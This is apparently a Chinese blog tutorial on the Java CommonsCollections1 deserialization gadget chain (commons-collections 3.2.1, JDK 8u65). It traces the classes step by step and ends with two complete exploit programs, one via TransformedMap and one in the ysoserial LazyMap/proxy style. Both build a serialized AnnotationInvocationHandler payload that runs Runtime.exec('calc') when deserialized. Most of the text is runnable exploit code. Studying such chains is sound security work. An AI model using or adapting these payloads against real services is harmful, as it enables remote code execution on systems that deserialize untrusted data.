CC1

发布时间 2023-09-19 15:57:55作者: 余星酒

CC1

参考视频 : Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili

手动分析

前期准备

jdk

这里的jdk选择java8u71​以下,因为在java8u71​该漏洞被修复了,选择的是java8u65​( 和视频中的博主一样 )

组件

这里使用的是commons-collections3.2.1​,可以使用maven也可以自行下载手动导入

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

源码

在最后的调试阶段需要能够读取sun源码,源码可以通过OpenJDK(https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip)中下载

  1. 先将原先jdk目录下的src压缩包解压

  1. 打开下载的文件,将src/share/classes​下的sun​拖到该目录下

3. 打开IDEA

image

导入成功后就可以查看源码了

类分析

漏洞发现 : commons-collections.jar​根路径下的Transformer​类

具体功能是传入一个对象,会调用该对象的transform​方法

通过ctrl+alt+鼠标左键​就能查看实现类

这些都是它的实现类

InvokerTransformer

先查看构造函数

其中的iMethodName​、iParamTypes​都是可控的( 在创建该类传入即可 )知道这里可控后,可以尝试执行命令

再查看它的transform​方法

  1. 通过传入任意一个对象,获取其对应的class类
  2. 通过反射获取其方法
  3. 最后通过invoke执行方法

明白流程后就可以尝试构造

package cc;

import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.InvocationTargetException;

public class cc1 {

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
	// 通过反射调用exec执行命令
    Runtime r = Runtime.getRuntime();
    Class&lt;? extends Runtime&gt; aClass = r.getClass();
    Object invoke = aClass.getMethod(&quot;getRuntime&quot;);
    aClass.getMethod(&quot;exec&quot;, String.class).invoke(invoke, &quot;calc&quot;);

    Runtime transfromR = Runtime.getRuntime();
	// 这是通过传入Runtime类对象,通过反射获取其exec方法,传入calc参数,导致弹出计算器
    new InvokerTransformer(&quot;exec&quot;, new Class[]{String.class}, new Object[]{&quot;calc&quot;}).transform(transfromR);
}

}

通过new InvokerTransformer()​传入三个参数后调用了对应的transfrom()​方法,这三个参数分别为 方法名、参数类型(数组)、值(数组),transfrom​接收了一个对象,而new InvokerTransformer()​传递的三个参数就是通过后者提供的类对象来进行调用(反射调用)

当我们了解了这些后,就知道该类的transfrom​方法是一个危险方法 [InvokerTransformer.transfrom()​],接下来就需要查看谁的里面调用了transfrom​方法

这里可以通过右键transfrom()​查看哪些调用了(目的就是查看到不同名字可以调用该方法,就可以继续往下走)

image

但是默认的搜索只会在项目中查找,不会去Lib中查找,需要进行修改默认配置

image

image

TransformeMap

通过搜索可以看到在TransformeMap​中trasnform​被调用了很多次,查看该类的构造函数

TransformedMap​类的构造函数是一个protected​类型,只允许同一个包内的类或子类调用,它会传入一个map对象,之后会传入两个Transformer对象,一个是key,另一个是value,分别对这key和value进行操作

通过该类中的decorate​方法可成功获取该类的实例对象,而传入的valueTransformer​对象则会在下方的checkSetVallue​中实现调用transform

那么想要实现传递进来的Transformer对象调用trasnform方法,继续跟进查看

AbstractInputCheckedMapDecorator

发现在AbstractInputCheckedMapDecorator​类中存在一个setValue​方成功调用了checkSetVallue​,而这个类还是TrasnformedMap​的父类

查看AbstractInputCheckedMapDecorator​类,发现setValue​是在一个MapEntry​中实现

而这个MapEntry​的setValue​方法常用于更新Map​中键值对中的值(遍历更新等场景)此时就可以做一些简单的构造

package cc;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class cc1 {

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {

    Runtime transfromR = Runtime.getRuntime();
    InvokerTransformer invokerTransformer = new InvokerTransformer(&quot;exec&quot;, new Class[]{String.class}, new Object[]{&quot;calc&quot;});

    HashMap&lt;Object, Object&gt; testMap = new HashMap&lt;&gt;();
    testMap.put(&quot;key&quot;, &quot;value&quot;);

    Map&lt;Object, Object&gt; decorate = TransformedMap.decorate(testMap, null, invokerTransformer); // 传入map对象,第一个参数不需要,第二个参数会执行transform方法,传入上面定义的Transformer对象

    for (Map.Entry entry: decorate.entrySet()) {
        entry.setValue(transfromR);
    }
}

}

如果有一个遍历数组的地方并且调用了setValue​方法那么就可以成功利用

AnnotationInvocationHandler

再次追踪发现了在readObject​中使用map遍历并调用了setValue

查看其构造函数

这个构造函数没有提供public,只允许同一个包内调用可以使用反射,接收两个参数,第一个参数是class类对象(继承了Annotation​注解的对象),第二个是map对象(这个可控)

通过readObject()​方法执行map遍历,最终调用setValue​方法,这里无法通过常规手段获取该类的对象,只能通过反射获取

package cc;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class cc1 {

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException, IOException {

    Runtime transfromR = Runtime.getRuntime(); // 由于getRuntime获取的是new对象,无法进行序列化,需要获取其class对象
    InvokerTransformer invokerTransformer = new InvokerTransformer(&quot;exec&quot;, new Class[]{String.class}, new Object[]{&quot;calc&quot;}); // 获取执行函数
    HashMap&lt;Object, Object&gt; testMap = new HashMap&lt;&gt;(); // 新建一个map
    testMap.put(&quot;key&quot;, &quot;value&quot;); // 添加数据随便填

    Map&lt;Object, Object&gt; decorate = TransformedMap.decorate(testMap, null, invokerTransformer); // 传入map对象,第一个参数不需要,第二个参数会执行transform方法,传入上面定一个Transformer对象

    Class&lt;?&gt; aClass = Class.forName(&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;); // 对象通过反射获取其class对象
    Constructor&lt;?&gt; declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); // 获取其构造方法
    declaredConstructor.setAccessible(true); // 关闭java安全检测
    Object o = declaredConstructor.newInstance(Override.class, decorate); // 初始化该对象

    serialize(o, &quot;cc1.ser&quot;); // 序列化该对象

    deserialize(&quot;cc1.ser&quot;); // 反序列化该对象,由于该对象执行readObject()方法,会遍历map,setValue执行,导致checkSetValue执行,最终调用invokerTransformer.transform执行

}

但是在执行后发现还是利用失败,尝试Debug查看问题存在(尝试在数组遍历处打断点)

这里存在的问题是memberType​为空,if判断为假,而通过前面的代码可以大概猜测出 for循环遍历map,获取的变量通过getKey()​获取它的键值对中的键,而memberTypes​通过查看上下文得出它是成功获取了注解类型的Annotation Type​实例,之后调用memberTypes()​方法,以成功获取注解的成员名称和对应的成员类型将其存储在memberTypes​中,接着通过memberTypes.get()​查找这个键是否存在

        Object o = declaredConstructor.newInstance(Override.class, decorate); // 初始化该对象

由于上述在实例化时传递的是Override.class​该类中啥都没有,但是49、50行存在两个,可以进入查看

这里可以通过传递其他的注释类来绕过这个限制

package cc;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class cc1 {

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException, IOException {

    Runtime transfromR = Runtime.getRuntime(); 
    InvokerTransformer invokerTransformer = new InvokerTransformer(&quot;exec&quot;, new Class[]{String.class}, new Object[]{&quot;calc&quot;}); 
    HashMap&lt;Object, Object&gt; testMap = new HashMap&lt;&gt;(); 
    testMap.put(&quot;value&quot;, &quot;value&quot;); // 由于它是通过kay来判断,所以要填一个存在的key

    Map&lt;Object, Object&gt; decorate = TransformedMap.decorate(testMap, null, invokerTransformer);

    Class&lt;?&gt; aClass = Class.forName(&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;); 
    Constructor&lt;?&gt; declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class); 
    declaredConstructor.setAccessible(true); 
    Object o = declaredConstructor.newInstance(Target.class, decorate); // 这里可以传入Target.class,它存在一个value方法

    serialize(o, &quot;cc1.ser&quot;); 

    deserialize(&quot;cc1.ser&quot;); 

}

看似逻辑正确的,但实际上还存在很多问题,当运行时还会报错

很显然传入的class类对象不支持exec方法,或者说传入的不是一个java.lang.Runtime​而是一个java.lang.String

通过断点查看也可以看出

小结

当然这里的问题可以稍微总结一下

1. Runtime对象是通过Runtime.getRuntime获取的,无法进行序列化操作(没有继承Serializable)
  1. setValue()中需要传入的是Runtime对象,但是这里使用的是 new AnnotationInvocationHandler()

memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));

这里setValue函数的参数使用的new AnnotationTypeMismatchExceptionProxy()传入,最终进入到checkSetValue后使用的value是new AnnotationTypeMismatchExceptionProxy(),不是我们想要的,得改成Runtime.class类型,但是如果查看过断点后发现无法控制的,但是可以通过另一个类new ConstantTransformer(),它不论传入什么输入都会按照内部的值进行返回
  1. 在readObject()函数中,存在很多if条件

    1. if (memberType != null)

      memberValue.getKey() 获取它的键值对的键
      memberTypes.get()中查找这个键是否存在
      memberType 查找不到所以调用失败

      所以必须找一个有成员方法的class,同时数组的key还要改成它(注解对象)的成员方法名字

    2. if (!(memberType.isInstance(value) || value instanceof ExceptionProxy))
      判断数据是否能够强转,这里如果第一个if进入了那么这里也肯定本能强转

ConstantTransformer

要想突破new AnnotationInvocationHandler()​ 可以通过该给类传入Runtime.class​,通过transform​方法将该值返回( 即该点是可控的 )

​​​

​​

理解这一点后就可以开始构造

	Class<Runtime> aClass = Runtime.class;
    Method getRuntime = aClass.getMethod("getRuntime", null);
    Runtime r = (Runtime) getRuntime.invoke(null);
    Method exec = aClass.getMethod("exec", String.class);
    exec.invoke(r, "calc");

这是正常的反射代理,但是得转换成Transformer​可识别类型,通过一开始的InvokerTransformer​的transform​方法实现

	Object constant = new ConstantTransformer(Runtime.class).transform(Runtime.class);
	Method getMethods = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(constant);
	Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethods);
	InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

虽然转成了Transformer​ 可是别,但是始终无法控制setValue​的参数

Debug查看后发现始终不是想要的Runtime类型,这时还需要再次调用另一个类 ​ChainedTransformer

ChainedTransformer

​​

可以看到它需要一个Transformer[]​接收

而它的主要功能就是通过调用transform()​循环实现数组中对象的transform方法,此时问题才算解决完成

Transformer[] transformers = {
	new ConstantTransformer(Runtime.class),
	new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
	new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
	new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
}; 
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 通过递归调用transform方法

首先就是传入new AnnotationInvocationHandler()​对象,通过调用ConstantTransformer​的transform​方法成功返回了java.lang.Runtime​之后就是正常的通过InvokerTransformer​的transform​来调用,最终实现命令执行

链路整理

  1. 因为最终是通过调用目标的readObject()​从而触发一系列反应,最终执行InvokerTransformer.transform()​,就需要进行序列化操作和反序列化操作,所以这些操作都需要支持序列化操作,而Runtime.getRuntime()​很显然不支持序列化操作,需要进行反射获取,而反射又必须得是InvokerTransformer.transform()​所支持的 ( 最终的触发点在这里 )

  2. 创建所需要的类对象

    1. 由于无法控制setValue()​的参数,所以需要借助一个类CostantTransform​,通过使用它的transform​方法,不论传递谁,都会输出,这里我们想要的是Runtime.class​,通过将Runtime.class​传递给该类,从而获得它本身
    2. 如果使用的是常规想法,即先通过new CostantTransform()​的transform​返回java.lang.Runtime​之后在通过InvokerTransform​调用transform​前者返回类,正常思路看着是可行的,但是setValue()​会强制使用new AnnotationInvocationHandler()​它的transform​方法,之后就会抛出异常(因为传递的是new CostantTransform()​它并没有exec​这个方法)
    3. 所以这里还需要借助另一个类ChainedTransformer​,它需要传入一个数组,它会将数组中前者的输出当做后者的输入,也就是这里无需在考虑setValue()​的参数,而考虑只需要控制第一个输出的结果是java.lang.Runtime​即可,由此,便构成以下代码
Transformer[] transformers = {
	new ConstantTransformer(Runtime.class), // 调用该类的transform方法返回该类本身
	new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
	new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
}; // 将上述序列化操作转为transformer支持的

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 通过循环调用

  1. 变量创建完成后,需要有一个地方能够调用ChainedTransformer​的transform()​,在TransformedMap​类中存在一个checkSetValue()​,它会调用valueTransformer.transform(value)​ 而TransformedMap.decorate()​会返回一个new TransformedMap(map, keyTransformer, valueTransformer)​,其中可以控制第三个参数传入我们自定义的ChainedTransformer​类型,代码如下
	HashMap<Object, Object> testMap = new HashMap<>(); // 新建一个map
	testMap.put("value", "value"); // 添加数据
	Map<Object, Object> decorate = TransformedMap.decorate(testMap, null, chainedTransformer) // 相当于 new TransformedMap(testMap, null, chainedTransformer)
  1. 那么,这里的valueTransformer​是在通过TransformedMap.decorate(testMap, null, chainedTransformer)​的第三个参数进行传递,也就是chainedTransformer​赋值给valueTransformer​,而chainedTransformer​中存放的就是一些实例操作,通过它来执行transform()​就等于执行chainedTransformer​数组中每个元素的transform()

  2. 那么现在考虑如何在哪里调用了checkSetValue()​,通过查找发现在AbstractInputCheckedMapDecorator​类中的setValue()​调用了checkSetValue​,通过查看其类构造,发现是一个Map数组

  3. 通过查找会发现AnnotationInvocationHandler​类中存在一个方法readObject()​,这个MapEntry​ 的setValue​方法常用于更新Map​中键值对中的值(遍历更新等场景),这里需要注释的是该类的构造函数没有任何修饰符,只允许在同一包内调用,所以得通过反射获取该类的构造函数

  4. 现在就考虑有一个地方能够遍历数组并且执行setValue​,继续查找,发现AnnotationInvocationHandler​中存在的readObject​方法中存在遍历数组并且执行setValue​的方法,而其中的判断条件只是注释类中的方法是否存在,代码如下

	Class<?> handlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 对象通过反射获取其class对象
	Constructor<?> declaredConstructor = handlerClass.getDeclaredConstructor(Class.class, Map.class); // 获取其构造方法
	declaredConstructor.setAccessible(true); // 关闭java安全检测
	Object o = declaredConstructor.newInstance(Target.class, decorate); // 初始化该对象
  1. 由于readObject()​是通过反序列化操作的,所以需要构造两个能够执行序列化和反序列化的函数
    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object o = ois.readObject();
        ois.close();
        return o;
    }
public static void serialize(Object obj, String filename) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename));
    oos.writeObject(obj);
    oos.close();
}

最终代码

package cc;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class cc1 {

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException, IOException {
    Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(&quot;getMethod&quot;, new Class[]{String.class, Class[].class}, new Object[]{&quot;getRuntime&quot;, null}),
            new InvokerTransformer(&quot;invoke&quot;, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer(&quot;exec&quot;, new Class[]{String.class}, new Object[]{&quot;calc&quot;})
    }; // 将上诉序列化操作转为transformer支持的
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 通过递归调用

    HashMap&lt;Object, Object&gt; testMap = new HashMap&lt;&gt;(); // 新建一个map
    testMap.put(&quot;value&quot;, &quot;value&quot;); // 添加数据

    Map&lt;Object, Object&gt; decorate = TransformedMap.decorate(testMap, null, chainedTransformer); // 传入map对象,第一个参数不需要,第二个参数会执行transform方法,传入上面定一个Transformer对象

    Class&lt;?&gt; handlerClass = Class.forName(&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;); // 对象通过反射获取其class对象
    Constructor&lt;?&gt; declaredConstructor = handlerClass.getDeclaredConstructor(Class.class, Map.class); // 获取其构造方法
    declaredConstructor.setAccessible(true); // 关闭java安全检测
    Object o = declaredConstructor.newInstance(Target.class, decorate); // 初始化该对象

    serialize(o, &quot;cc1.ser&quot;); // 序列化该对象
    deserialize(&quot;cc1.ser&quot;); // 反序列化该对象,由于该对象执行readObject()方法,会遍历map,setValue执行,导致checkSetValue执行,最终调用invokerTransformer.transform执行
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
    Object o = ois.readObject();
    ois.close();
    return o;
}

public static void serialize(Object obj, String filename) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename));
    oos.writeObject(obj);
    oos.close();
}

}

ysoserial-cc1分析

前面的大部分相同,核心不同就是在

手动分析的是TransformedMap​类,而ysoserial中的cc1使用的是LazyMap

类分析

LazyMap

在LazyMap中存在一个get方法,它会调用这个actory.transform()​方法,而这个factory是可控的

查看哪里调用了get方法(这里因为太多不好找,查看源码发现是通过去AnnotationInvocationHandler​中调用了get)

发现在invoke中调用了get方法(有5个地方同样调用了,但是无法控制)这里的memberValues可以控制

而这里的invoke方法可以通过创建动态代理执行任意函数来自动执行invoke函数

那么这里需要一个动态代理,这个动态代理需要调用AnnotationInvocationHandler​的处理器类,调用它的某一个方法就会执行incoke,而最外层需要一个接收一个接口的,这个接口可以使用Map

这时需要确定的是调用什么方法,

这里也说明了不允许调用equals​​方法,还不能调用一个有参方法

这里在readObject方法中会调用这个entrySet()​方法,而memberValues是一个Map类型,将上面创建的动态代理类传递给AnnotationInvocationHandler​ 这样就会让这个动态代理类执行这个entrySet()​,那么就会触发这个invoke()​方法,从而触发LazyMap.get()​方法

最终代码

package ccTest;

import jdk.nashorn.internal.ir.CallNode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class cc1_ysoserial {

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, ClassNotFoundException, IOException {
    Transformer[] transformers = {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(&quot;getMethod&quot;, new Class[]{String.class, Class[].class}, new Object[]{&quot;getRuntime&quot;, null}),
            new InvokerTransformer(&quot;invoke&quot;, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer(&quot;exec&quot;, new Class[]{String.class}, new Object[]{&quot;calc&quot;})
    }; // 将上诉序列化操作转为transformer支持的
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 通过递归调用

    HashMap&lt;Object, Object&gt; testMap = new HashMap&lt;&gt;(); // 新建一个map

    Map&lt;Object, Object&gt; decorate = LazyMap.decorate(testMap, chainedTransformer);


    Class&lt;?&gt; handlerClass = Class.forName(&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;); // 对象通过反射获取其class对象
    Constructor&lt;?&gt; declaredConstructor = handlerClass.getDeclaredConstructor(Class.class, Map.class); // 获取其构造方法
    declaredConstructor.setAccessible(true); // 关闭java安全检测
    InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate); // 初始化该对象

    Map map = (Map) Proxy.newProxyInstance(handlerClass.getClassLoader(), new Class[]{Map.class}, handler);

    Object o = declaredConstructor.newInstance(Override.class, map);


    serialize(o, &quot;cc1.ser&quot;); // 序列化该对象
    deserialize(&quot;cc1.ser&quot;); // 反序列化该对象,由于该对象执行readObject()方法,会遍历map,setValue执行,导致checkSetValue执行,最终调用invokerTransformer.transform执行
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
    Object o = ois.readObject();
    ois.close();
    return o;
}

public static void serialize(Object obj, String filename) throws IOException {
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename));
    oos.writeObject(obj);
    oos.close();
}

}